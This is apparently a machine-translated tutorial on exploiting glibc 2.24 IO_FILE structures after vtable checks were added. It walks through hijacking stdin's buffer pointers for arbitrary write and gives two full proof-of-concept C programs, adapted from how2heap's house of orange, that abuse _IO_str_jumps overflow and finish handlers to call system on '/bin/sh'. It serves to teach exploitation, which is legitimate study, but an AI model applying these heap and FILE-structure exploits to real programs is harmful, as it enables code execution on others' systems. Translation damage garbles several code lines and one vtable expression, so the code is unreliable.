Skip to content

glibc 2.24 Utilization of IO_FILE

Introduction

In the 2.24 version of glibc, the new detection of vtable hijacking for IO_FILE_plus, glibc The validity of the vtable address is checked first before calling the virtual function. First, it will verify whether the vtable is in the _IO_vtable section. If the condition is met, it will be executed normally. Otherwise, _IO_vtable_check will be called for further checking.

/* Check if unknown vtable pointers are permitted; otherwise,

   terminate the process.  */

void _IO_vtable_check (void) attribute_hidden;

/* Perform vtable pointer validation.  If validation fails, terminate

   the process.  */

static inline const struct _IO_jump_t *

IO_validate_vtable (const struct _IO_jump_t *vtable)

{

  /* Fast path: The vtable pointer is within the __libc_IO_vtables

     section.  */

  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;

uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;

  if (__glibc_unlikely (offset >= section_length))

    /* The vtable pointer is not in the expected section.  Use the

       slow path, which will terminate the process if necessary.  */

_IO_vtable_check ();
  return vtable;

}

Calculate section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;, and then determine the offset of vtable - __start___libc_IO_vtables. If the offset is greater than section_length, ie greater than __stop___libc_IO_vtables - __start___libc_IO_vtables then the _IO_vtable_check() function will be called.

void attribute_hidden

_IO_vtable_check (void)

{

#ifdef SHARED

  /* Honor the compatibility flag.  */

  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);

#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)

    return;



  /* In case this libc copy is in a non-default namespace, we always

     need to accept foreign vtables because there is always a

     possibility that FILE * objects are passed across the linking

     boundary.  */

  {

Dl_info di;
    struct link_map *l;

    if (_dl_open_hook != NULL

|| (_dl_addr (_IO_vtable_check, & di, & l, NULL)! = 0
            && l->l_ns != LM_ID_BASE))

      return;

  }



#else /* !SHARED */

  /* We cannot perform vtable validation in the static dlopen case

     because FILE * handles might be passed back and forth across the

     boundary.  Therefore, we disable checking in this case.  */

  if (__dlopen != NULL)

    return;

#endif


  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");

}

If the vtable is illegal, then abort is raised.

The check here makes it difficult to implement the technology that used vtable in the past.

New utilization technology

fileno Use of buffers

After the vtable is difficult to exploit, the focus of interest is transferred from the vtable to the domain inside the _IO_FILE structure. As mentioned earlier, _IO_FILE is created and responsible for maintaining some related information when using the standard IO library. Some of the fields are used to write addresses or read addresses when calling functions such as fwrite and fread. If you can control these data, Any address write or arbitrary address read can be implemented.

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */

  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */

  char* _IO_read_ptr;   /* Current read pointer */

  char* _IO_read_end;   /* End of get area. */

  char* _IO_read_base;  /* Start of putback+get area. */

  char* _IO_write_base; /* Start of put area. */

  char* _IO_write_ptr;  /* Current put pointer. */

  char* _IO_write_end;  /* End of put area. */

  char* _IO_buf_base;   /* Start of reserve area. */

  char* _IO_buf_end;    /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */

  char *_IO_save_base; /* Pointer to start of non-current get area. */

  char *_IO_backup_base;  /* Pointer to first valid character of backup area */

  char *_IO_save_end; /* Pointer to end of non-current get area. */



  struct _IO_marker *_markers;



  struct _IO_FILE *_chain;



  int _fileno;

  int _flags2;

  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

};

Because the process contains the system default three file streams stdin\stdout\stderr, this method can not use the file operation in the process, and can be used by scanf\printf.

In _IO_FILE, _IO_buf_base indicates the start address of the operation, and _IO_buf_end indicates the end address. By controlling these two data, the operation of controlling read and write can be realized.

Example

Simply observe the effect of _IO_FILE on calling scanf

#include "stdio.h"



char buf[100];



int main()
{

 char stack_buf[100];

 scanf("%s",stack_buf);

 scanf("%s",stack_buf);



}

The content of stdin has not been initialized until the first time the executable is used.

0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2088  0x0000000000000000

0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff

0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790

0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000

0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000

0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0 <== vtable

After calling scanf, you can see that the fields _IO_read_ptr, _IO_read_base, _IO_read_end, _IO_buf_base, _IO_buf_end are initialized.

0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013

0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014  0x0000000000602010

0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010  0x0000000000602010

0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x0000000000602010  0x0000000000602010

0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x0000000000602410  0x0000000000000000

0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff

0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790

0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000

0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000

0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x00000000ffffffff  0x0000000000000000

0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0

Further thinking can be found that the memory initialized by stdin is actually allocated on the heap. The base address of the heap here is 0x602000, because there is no heap allocation before, so the address of the buffer is also 0x602010.

Start              End                Offset             Perm Path

0x0000000000400000 0x0000000000401000 0x0000000000000000 rx /home/vb/desktop/tst/1/t1
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/desktop/tst/1/t1
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/desktop/tst/1/t1
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]

The allocated heap size is 0x400 bytes, which corresponds to _IO_buf_base~_IO_buf_end After writing, you can see that we have written data in the buffer, and then the buffer in the destination address stack will also write data.

0x602000: 0x0000000000000000 0x0000000000000411 &lt;== allocate 0x400 size
0x602010: 0x000000000a333231 0x0000000000000000 &lt;== buffering data
0x602020:   0x0000000000000000  0x0000000000000000

0x602030:   0x0000000000000000  0x0000000000000000

0x602040:   0x0000000000000000  0x0000000000000000

Next we try to modify _IO_buf_base to achieve arbitrary address reading and writing, the address of the global buffer buf is 0x7ffff7dd2740. Modify _IO_buf_base and _IO_buf_end to the address of buffer buf

0x7ffff7dd18e0 <_IO_2_1_stdin_>:    0x00000000fbad2288  0x0000000000602013

0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x0000000000602014  0x0000000000602010

0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x0000000000602010  0x0000000000602010

0x7ffff7dd1910 &lt;_IO_2_1_stdin_ + 48&gt;: 0x0000000000602010 0x00007ffff7dd2740 &lt;== _IO_buf_base
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd27c0  0x0000000000000000 <== _IO_buf_end

0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000  0x0000000000000000

0x7ffff7dd1950 <_IO_2_1_stdin_+112>:    0x0000000000000000  0xffffffffffffffff

0x7ffff7dd1960 <_IO_2_1_stdin_+128>:    0x0000000000000000  0x00007ffff7dd3790

0x7ffff7dd1970 <_IO_2_1_stdin_+144>:    0xffffffffffffffff  0x0000000000000000

0x7ffff7dd1980 <_IO_2_1_stdin_+160>:    0x00007ffff7dd19c0  0x0000000000000000

0x7ffff7dd1990 <_IO_2_1_stdin_+176>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:    0x00000000ffffffff  0x0000000000000000

0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:    0x0000000000000000  0x00007ffff7dd06e0

After that, the read data of scanf will be written to the location of 0x7ffff7dd2740.

0x7ffff7dd2740 <buf>:   0x00000a6161616161  0x0000000000000000

0x7ffff7dd2750 <buffer>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd2760 <buffer>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd2770 <buffer>:    0x0000000000000000  0x0000000000000000

0x7ffff7dd2780 <buffer>:    0x0000000000000000  0x0000000000000000

_IO_str_jumps -> overflow

libc is not only _IO_file_jumps such a vtable, but also a _IO_str_jumps, this vtable is not in the check range.

const struct _IO_jump_t _IO_str_jumps libio_vtable =

{

  JUMP_INIT_DUMMY,

  JUMP_INIT(finish, _IO_str_finish),

  JUMP_INIT(overflow, _IO_str_overflow),

  JUMP_INIT(underflow, _IO_str_underflow),

  JUMP_INIT(uflow, _IO_default_uflow),

  JUMP_INIT(pbackfail, _IO_str_pbackfail),

  JUMP_INIT(xsputn, _IO_default_xsputn),

  JUMP_INIT(xsgetn, _IO_default_xsgetn),

  JUMP_INIT(seekoff, _IO_str_seekoff),

  JUMP_INIT(seekpos, _IO_default_seekpos),

  JUMP_INIT(setbuf, _IO_default_setbuf),

  JUMP_INIT(sync, _IO_default_sync),

  JUMP_INIT(doallocate, _IO_default_doallocate),

  JUMP_INIT(read, _IO_default_read),

  JUMP_INIT(write, _IO_default_write),

  JUMP_INIT(seek, _IO_default_seek),

  JUMP_INIT(close, _IO_default_close),

  JUMP_INIT(stat, _IO_default_stat),

  JUMP_INIT(showmanyc, _IO_default_showmanyc),

  JUMP_INIT(imbue, _IO_default_imbue)

};

If we can set the vtable of the file pointer to _IO_str_jumps, we can call a different file manipulation function. Here is an example of _IO_str_overflow:

int

_IO_str_overflow (_IO_FILE *fp, int c)

{

  int flush_only = c == EOF;

  _IO_size_t pos;

  if (fp->_flags & _IO_NO_WRITES)// pass

      return flush_only ? 0 : EOF;

  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))

    {

      fp->_flags |= _IO_CURRENTLY_PUTTING;

      fp->_IO_write_ptr = fp->_IO_read_ptr;

      fp->_IO_read_ptr = fp->_IO_read_end;

    }

  pos = fp->_IO_write_ptr - fp->_IO_write_base;

  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in 

    {

      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ // pass

    return EOF;

      else

    {

      char *new_buf;

      char *old_buf = fp->_IO_buf_base;

size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;

If (new_size &lt; old_blen)//pass will generally pass
        return EOF;

      new_buf

        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);//target [fp+0xe0]

      if (new_buf == NULL)

        {

          /*      __ferror(fp) = 1; */

          return EOF;

        }

      if (old_buf)

        {

          memcpy (new_buf, old_buf, old_blen);

          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);

          /* Make sure _IO_setb won't try to delete _IO_buf_base. */

fp -&gt; _ IO_buf_base = NULL;
        }

      memset (new_buf + old_blen, '\0', new_size - old_blen);



      _IO_setb (fp, new_buf, new_buf + new_size, 1);

      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);

      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);

      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);

      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);



      fp->_IO_write_base = new_buf;

      fp->_IO_write_end = fp->_IO_buf_end;

    }

    }



  if (!flush_only)

    *fp->_IO_write_ptr++ = (unsigned char) c;

  if (fp->_IO_write_ptr > fp->_IO_read_end)

    fp->_IO_read_end = fp->_IO_write_ptr;

  return c;

}

libc_hidden_def (_IO_str_overflow)

Use the following code to hijack the program flow

      new_buf

        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

Several conditions bypass:

  1. `1. fp->_flags & _IO_NO_WRITES is false
  2. 2. (pos = fp->_IO_write_ptr - fp->_IO_write_base) >= ((fp->_IO_buf_end - fp->_IO_buf_base) + flush_only(1))

  3. `3. fp->_flags & _IO_USER_BUF(0x01) is false.

  4. `4. 2*(fp->_IO_buf_end - fp->_IO_buf_base) + 100 cannot be negative
  5. `5. new_size = 2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100; should point to the address corresponding to the /bin/sh string.
  6. `6. fp+0xe0 points to the system address.

structure:

_flags = 0

_IO_write_base = 0

_IO_write_ptr = (binsh_in_libc_addr -100) / 2 +1

_IO_buf_end = (binsh_in_libc_addr -100) / 2 



_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1



vtable = _IO_str_jumps - 0x18

Example

Modified how2heap's houseoforange code, you can debug it yourself.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int winner ( char *ptr);

int main()

{

    char *p1, *p2;

    size_t io_list_all, *top;

    // unsorted bin attack

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);

    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;

    top[3] = io_list_all - 0x10;

    // _IO_str_overflow conditions

    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack

    // top[0] = ~1;

    // top[0] &= ~8;

    top[0] = 0;

    top[4] = 0; // write_base

    top[5] = ((size_t)&binsh_in_libc-100)/2 + 1; // write_ptr

    top[7] = 0; // buf_base

    top[8] = top[5] - 1; // buf_end

    // house_of_orange conditions
    top[1] = 0x61;



    top[20] = (size_t) &top[18];

    top[21] = 2;

    top[22] = 3;

    top[24] = -1;

Top[27] = (size_t)stdin - 0x3868-0x18; // _IO_str_jumps address
    top[28] = (size_t) &winner;



    /* Finally, trigger the whole chain by calling malloc */

    malloc(10);

    return 0;

}

int winner(char *ptr)

{ 

System (ptr);
    return 0;

}

_IO_str_jumps -> finish

The principle is similar to _IO_str_jumps -> overflow above

void

_IO_str_finish (_IO_FILE * fp, int dummy)
{

  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))

    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);  //[fp+0xe8]

fp -&gt; _ IO_buf_base = NULL;


  _IO_default_finish (fp, 0);

}

condition:

  1. _IO_buf_base is not empty
  2. _flags & _IO_USER_BUF(0x01) is false

Constructed as follows:

_flags = (binsh_in_libc + 0x10) & ~1

_IO_buf_base = binsh_addr



_freeres_list = 0x2
_freeres_buf = 0x3
_mode = -1

vtable = _IO_str_finish - 0x18

fp+0xe8 -> system_addr

Example

Modified how2heap's houseoforange code, you can debug it yourself.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int winner ( char *ptr);

int main()

{

    char *p1, *p2;

    size_t io_list_all, *top;

    // unsorted bin attack

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);

    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;

    top[3] = io_list_all - 0x10;

    // _IO_str_finish conditions

    char binsh_in_libc[] = "/bin/sh\x00"; // we can found "/bin/sh" in libc, here i create it in stack



    top[0] = ((size_t) &binsh_in_libc + 0x10) & ~1;

    top[7] = ((size_t)&binsh_in_libc); // buf_base



    // house_of_orange conditions

    top[1] = 0x61;

    top[5] = 0x1 ; //_IO_write_ptr

    top[20] = (size_t) &top[18];

    top[21] = 2;

    top[22] = 3;

    top[24] = -1;

    top[27] = (size_t) stdin - 0x33f0 - 0x18;

    top[29] = (size_t) &winner;

        top[30] = (size_t) &top[30];

    malloc(10);

    return 0;

}

int winner(char *ptr)

{ 

System (ptr);
    return 0;

}

Comments